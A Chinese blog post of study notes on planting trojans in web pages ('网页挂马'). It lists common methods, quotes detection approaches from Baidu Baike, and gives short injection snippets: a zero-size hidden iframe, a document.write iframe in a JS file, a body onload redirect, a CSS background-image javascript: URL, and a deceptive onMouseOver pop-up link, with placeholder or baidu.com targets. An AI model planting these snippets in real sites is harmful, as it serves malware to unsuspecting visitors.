学习记录03（网页挂马）

全栈程序员站长

发布于 2022-11-11 14:38:06

2.5K00

代码可运行

文章被收录于专栏：全栈程序员必看全栈程序员必看

运行总次数：0

代码可运行

大家好，又见面了，我是你们的朋友全栈君。

网页挂马

将木马程序上传到网站，使用木马生成器生成一个网马，放到网页空间，在添加代码使木马在网页打开时运行

1.常见的几种方式

将木马伪装成页面元素，木马被浏览器自动加载到本地
利用脚本运行的漏洞下载木马
利用脚本运行的漏洞释放隐含在网页脚本中的木马
将木马伪装成缺失的组件。或和缺失的组件绑在一起（flash播放插件等）
通过脚本运行调用某些com组件，利用其漏洞下载木马
在渲染页面内容的过程中利用格式溢出释放木马（ani格式溢出漏洞等）
在渲染页面内容的过程中利用格式溢出下载木马（flash9.0.115的播放漏洞等）

资料摘自：https://baike.baidu.com/item/%E7%BD%91%E9%A1%B5%E6%8C%82%E9%A9%AC/2368054?fr=aladdin

2.检测方法

特征匹配：将网页挂马的脚本按脚本病毒进行检测，但是网页脚本变形方式、加密方式比起传统的PE格式病毒更为多样，检测起来也更加困难。
主动防御：主动避免下载某些可能含有网马的插件，软件
检查父进程是否为浏览器，这种方法很容易被躲过且会对很多插件造成误报。

资料摘自：https://baike.baidu.com/item/%E7%BD%91%E9%A1%B5%E6%8C%82%E9%A9%AC/2368054?fr=aladdin

3.常见的几种网页挂马方法

HTML挂马

需要利用<iframe> 标签
<iframe src="地址" width="0" height="0"></iframe>
随便找一个html文件来举个例子，通常情况下将2中代码放到任何位置都可👇 ：例如：当使用代码 <iframe src="地址" ></iframe>时，在这个例子里也是图片伪装挂马

：我们可以看到，在我们访问原网址时会出现我指的百度页面，但是这样太明显了

：所以最好使用<iframe src="地址" width="0" height="0"></iframe>，让设置的页面不显示出来

JS文件挂马

需要利用到<script></script>标签
<script src="×××.js"></script> 和 document.write("<iframe src='https://www.baidu.com/' width=0 height=0></iframe>")前者写在html文件中，后者写在js文件中
演示一下👇 ：在html文件的<head>标签里加入<script src="×××.js"></script>

：转到horse.js文件，文件中添加document.write("<iframe src='https://www.baidu.com/' width=0 height=0></iframe>")这样浏览器就会执行write里面的部分

body挂马

利用<body>标签
<body onload="window.location='地址';"></body>

CSS挂马

可以写在css文件里也可以直接写在html文件<style>标签里
利用background-image：url() 和连接css文件 – – > <link rel="stylesheet" type="text/css" href="./×××.css">
body {background-image: url('javascript:document.write("<script src=地址></script>")')}但是有一点问题是，会出现背景页面空白的情况，导致很容易暴露，看了网上的一些总结，可以把这个修改为：body{background-image: url(t:open("地址"，"newwindow"，这里可以加一些参数))}通过在后台开一个新的窗口来运行木马页面

欺骗调用

利用一个假的链接地址诱骗用户点击或查看，以达到跳转页面加载木马的作用
例如👇

<a href="http://www.4399.com/" onMouseOver="tofalse_com(); return true;"> 跳转游戏页面：http://www.4399.com/ </a>
<SCRIPT Language="JavaScript"> 　function tofalse_com () 　{ 
      　　 var url="https://baidu.com/";//网马的地址，这里我随便用百度试了一下 open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");//弹出一个新窗口，后面的部分是对新窗口的一些属性设置 } </SCRIPT>